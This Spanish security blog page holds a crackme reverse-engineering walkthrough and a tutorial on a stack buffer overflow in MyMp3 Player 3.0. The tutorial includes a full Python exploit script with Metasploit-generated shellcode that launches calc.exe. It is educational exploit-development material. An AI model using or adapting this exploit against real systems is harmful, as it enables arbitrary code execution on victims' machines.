sábado, 14 de abril de 2012

[Crackme 1] - Alteración de cadenas (con Immunity Debugger)

Existen infinitas pruebas o crackmes por internet que siempre nos ayudan a entender los sistemas de protección que son utilizados por lo programas de hoy en día, y no menos importante a aprender cada día más y más sobre la ingeniería inversa.

NOTA: Si es la primera vez que te enfrentas a un reto o crackme y no dispones de conocimientos básicos en ingeniería inversa, recomiendo la lectura de la serie “Introducción a la Ingeniería Inversa en x86” que podéis encontrar en el apartado de Artículos.

Para el primer crackme he decidido comenzar por uno sencillo y sin mucha complicación, así es posible realizar la explicación mucho más detallada.

Descarga del fichero: [Crackme 1]
Escaneo del fichero (exe) en VirustTotal
MD5 (exe): 8703fe327565e59e2de6ec683eb5bc23
SHA1 (exe): c6f44af8fb6b1704065c8f70fb7f0e610781a7f3

IMPORTANTE: Siempre es bueno que probéis a resolver vosotros el crackme antes de leer la resolución.

Antes de nada, ejecutamos el binario para ver qué es y qué nos pide.

image

El funcionamiento es muy simple, nos están pidiendo que introduzcamos una cadena, la cual siempre nos da un resultado incorrecto. Únicamente debemos buscar cual es la cadena correcta y habremos resuelto el reto.

Como paso principal buscaremos los “strings” almacenados en el binario en busca de la cadena correcta, o de alguna que nos pueda ayudar. Si os fijáis en los strings, pueden llamar más la atención los siguientes: [ “Right !“, “Wrong !”, “Ndg6kP” y “BabyGeek” ], identificando los dos primeros como los resultados de la comprobación y los dos últimos como posibles cadenas que tengan algo que ver con la solución. Si probamos las dos últimas cadenas como posibles soluciones nos encontramos con que ninguna de ellas es la correcta.

Lo que en estos momentos nos interesa es visualizar la parte de código donde se está realizando la comprobación de la cadena e intentar entender cual es la cadena correcta. Para esto, abrimos el binario con Immunity Debugger y buscamos donde se esta realizando la comprobación. Teniendo en cuenta la gran cantidad de código que nos podremos encontrar, se me ocurren dos formas de encontrar el código de la comprobación:

- Buscando las cadenas de resultado “Wrong y Right” en el código: Al utilizar como mensajes de la comprobación, el código que nos interesa se encontrará cerca de cuando estas cadenas son utilizadas.
- Llamadas intermodulares: Son las llamadas que hace el binario a la API.

Para hacerlo más entretenido, utilizaremos las llamadas a las APIs. Al introducir una cadena incorrecta, la aplicación nos devuelve un “messagebox” indicando que el mensaje es incorrecto. Esto es debido a que el propio binario llama a la función “MessageBoxA” de la librería USER32.DLL.

Para visualizar este tipo de llamadas en Immunity Debbuger, pulsamos botón derecho el código > Search for > All intermodular calls.

image

Dando como resultado la siguiente información:

image

Como se puede observar en la captura anterior, existen dos llamadas a esta función en el código, las direcciones “004010BE” y “004010D3”. Saltamos a una de las dos direcciones y nos encontramos lo siguiente.

image

Bloque 1: Rellena la pila para posteriormente devolver un mensaje que nos indique que la cadena introducida es la correcta.

Bloque 2: Rellena la pila para posteriormente devolver un mensaje que nos indique que la cadena introducida es incorrecta.

Bloque 3: En este punto (el primero en ejecutarse de los cuatro bloques) se está llamando a la función “GetDlgItemTextA”, la cual nos devuelve (y almacena en EAX) el número de caracteres del buffer indicado en su tercer parámetro, el cual coincide con el texto introducido en el crackme.

En la dirección “0x00401095” se está realizando una comparación de EAX (número de carácter del valor introducido) con 6, por lo que ya sabemos que el número de caracteres que debe tener la cadena correcta es igual a 6.

Bloque 4: Es el encargado de realizar la comparación, para posteriormente saltar a Bloque 1 o 2 dependiendo del resultado de la función “CMP EAX, 1”. Importante la instrucción CALL realizada antes del CMP, ya que, seguramente será allí donde se esté realizando la comprobación y se modifique el valor de EAX.

NOTA: Una solución para que nos devuelva el mensaje de correcto, sería cambiar el valor de EAX a 1 cuando estemos debugeando la aplicación. Pero a nosotros nos interesa buscar la cadena correcta.

Si saltamos a la dirección del registro CALL (0x004010FE), nos encontramos con el siguiente código.

image

De esta función podemos destacar lo siguiente:

- 0x00401102: Guardamos en el registro ESI el puntero que apunta a la cadena introducida en el crackme.
- 0x00401105: Llamamos a una nueva función en la dirección “0x0040110F”.

Procedemos con el código del salto a la dirección “0x0040110F”.

image

Este código ya tiene otra pinta, voy a proceder a explicar paso a paso lo que se hace en cada una de las líneas de esta función, para poder entenderla mejor.

- De 0x0040110F a 0x00401115: Almacena datos en la PILA y pone a 0 los registros ECX, EAX y EBX.
- 0x00401117: Almacena en el registro EDI el valor “Ndg6kP”.

Hasta aquí y es importante recordarlo, disponemos de, en el registro ESI el valor introducido en el crackme y en el registro EDI el valor “Ndg6kP”.

- De 0x0040111C a 0x0040112E: Se esta realizando un bucle donde intervienen los valor ESI y EDI.

Para reproducir tal cual el proceso del bucle vamos a asignar el valor de ESI (el valor introducido en la aplicación) a “123456”.

image

- 0x00401130: Guardamos el valor 1 en ECX (este hará que la comparación del Bloque 4 sea correcta y por lo tanto, nos lleve al mensaje “Right !”)

Con esto ya tenemos suficiente para decir que la comprobación se realiza a partir de la comparación de cada uno de los valores de caracteres del valor introducido con el correspondiente valor de la cadena “Ndg6kP” + 1.

Si lo asemejamos a una formula, nos podría quedar algo similar a esto:

(Hex) CADENA_1[i] + 1 == (Hex) CADENA_2[i] “Donde i es un valor de 0 a 5”

Procedemos a incrementar el valor en hexadecimal de cada uno de los caracteres de la cadena “Ndg6kP” para encontrar la cadena correcta.

image

Por lo que la cadena resultante sería: “Oeh7lQ

Si introducimos dicha cadena en el crackme conseguiremos que el resultado del mensaje sea correcto!!

image

Esto es todo ;)

Un Saludo!!

miércoles, 11 de abril de 2012

[Exploit] - MyMp3 Player 3.0 Stack Buffer Overflow

imagePara consolidar el método de explotación detallado en la serie “Explotación de vulnerabilidades - Stack Buffer Overflow”, hoy vamos a ver un ejemplo real con la aplicación MyMp3 Player en su versión 3.0.

Basándonos en el Advisor que se publicó en el portal securityfocus.org sobre la aplicación y la vulnerabilidad detectada en el procesado de los ficheros de listas de reproducción (formato “m3u”), vamos a desarrollar un exploit que nos permita ejecutar código arbitrario en la aplicación afectada.

El primero de los pasos necesario es la creación de un fichero con formato “.m3u” que contemple las características del mismo, para así poder aprovecharnos de la vulnerabilidad. En este caso no va a ser necesario ya que la aplicación no controla que se esté realizando un correcto formato del fichero.

1 - Detección de la vulnerabilidad

Para la detección de la vulnerabilidad y debido a que anteriormente ya sabemos que se trata de una vulnerabilidad “Stack Buffer Overflow”, utilizaremos la aplicación pattern_create del framework de metasploit, generando un fichero con extensión “.m3u” que sobrescribirá la PILA de la aplicación al ser procesado.

image

Si depuramos la aplicación cuando se está llevando a cabo el procesado del fichero, podremos llegar a visualizar cómo el registro EIP es sobrescrito con valores del fichero, por lo que, ya tenemos el primer punto necesario para la explotación.

image

2 - Localización de la dirección de retorno

Ya sabemos que la aplicación es vulnerable a Stack Buffer Overflow, ahora vamos a proceder a averiguar la dirección exacta de memoria donde se aloja el valor que utilizará la instrucción RETN y así poderla modificar a nuestro antojo. Para la realización de esta tarea utilizaremos la herramienta pattern_offset.

image

Tal y como se puede observar en la captura anterior existen 1024 bytes antes de la dirección de retorno, por lo que, esta estará compuesta por el byte 1025, 1026, 1027 y 1028.

3 - Salto a la ShellCode

Para cambiar un poco la metodología del desarrollo de exploits para este tipo de vulnerabilidades, vamos a utilizar los 1024 bytes iniciales (espacio de sobra) para almacenar nuestra ShellCode, en nuestro caso la explotación de la aplicación quedaría del siguiente modo:

image

Podríamos elegir cualquier posición entre los 1024 bytes iniciales para añadir nuestra ShellCode, hay que tener en cuenta que esta ocupara parte del Buffer, por lo que, no es aconsejable escoger las últimas posiciones.

En nuestro caso escogemos el valor sobrescrito “41307341” que coincide con la dirección de memoria 0x0012EB68 de la PILA. Un modo rápido de obtener el offset o posición es mediante la herramienta anteriormente comentada pattern_offset.

image

Con esto ya tendríamos la dirección exacta (0x0012EB68) utilizada para sobrescribir la dirección de retorno tras los 1024 bytes y que apunta a nuestra ShellCode.

RET = “\x68\xEB\x12\x00” # Jump to ShellCode - 0x0012EB68

4 - Desarrollo del exploit

Si juntamos la estructura comentada anteriormente deberíamos formar algo similar a:

image

Para la generación de la ShellCode, debemos tener en cuenta algunos matices para que todo funcione correctamente.

  1. El tamaño de la ShellCode no puede superar en ningún caso la posición 1024 del buffer.
  2. Existen algunos caracteres como “\x00”, “\x0a”, “\x0d”o “\x20” (en hexadecimal) que no son bien interpretados por la aplicación.

De nuevo, utilizaremos las herramientas msfpayload y msfencode del framework metasploit para la generación de la ShellCode.

Comando: msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x0a\x0d\x20\x00' -t c

Basicamente generamos una ShellCode que nos ejecute una calculadora, descartando los valores indicados mediante el parámetro “-b”. Si unificamos todas las características comentadas conseguiremos un código similar al siguiente exploit:

'''
Title: MyMp3-Player '.m3u' Stack Buffer Overflow
Author: Daniel Romero
Software & Version: MyMp3-Player 3.02.067
Tested on: Windows XP SP3 - ES
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/38835/info
'''
import os

# Buffer
Buff = "\x41"*540
# Nops
Nops = "\x90"*50

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

# Buffer 2
Buff2 = "\x42"*207
# RET
RET = "\x68\xEB\x12\x00" #0012EB68 --> Position 540 (Buffer)

# Exploit
exploit = Buff + Nops + ShellCode + Buff2 + RET

# Create File
file = open("exploit_mymp3-player_BOF.m3u", "wb")
file.write(exploit)
file.close()

print ("Your file has been generated successfully!!")

Ejecutamos el exploit y abrimos con la aplicación MyMp3-Player el fichero generado, al procesar el archivo obtendremos como resultado una calculadora, consiguiendo así, ejecución de código arbitrario en la aplicación vulnerable.

image

Tenéis disponible la descarga del exploit desde el siguiente enlace: Exploit_mymp3-player.py y de la aplicación vulnerable desde aquí, para que realicéis vuestras pruebas.

Nota: Las pruebas han sido realizadas sobre un Sistema Operativo Windows XP SP3 en Español.

Si bien hemos conseguido nuestro objetivo, no hay que olvidar que nos hemos dejado muchos matices por el camino, tales como: ¿Qué función/código de la aplicación es la es vulnerable?, ¿Cómo detectamos los caracteres inválidos por la aplicación?, etcétera. Todo esto lo iremos explicando poco a poco en las siguientes entradas.

Un Saludo!!

martes, 3 de abril de 2012

[Documento] - Explotación de Vulnerabilidades - Stack Buffer Overflow

clip_image002Una vez finalizada la serie de “Explotación de vulnerabilidades - Stack Buffer Overflow”, he decidido agrupar las tres entradas de la serie en un fichero con formato PDF para que os sea más cómodo leeros el manual completo.

En dicho manual, se detallan todos los conceptos necesarios para entender y llevar a cabo la explotación de una vulnerabilidad de este tipo, así como herramientas que facilitan la tarea del usuario.

La recopilación está basada en los siguientes post de la serie:

- Explotación de Vulnerabilidades - Stack Buffer Overflow (Parte I)
- Explotación de Vulnerabilidades - Stack Buffer Overflow (Parte II)
- Explotación de Vulnerabilidades - Stack Buffer Overflow (Parte III)

En la siguiente dirección os podéis descargar el recopilatorio en formato PDF: Documento_Stack_Buffer_Overflow.pdf

Espero que os sea útil.

Un Saludo!!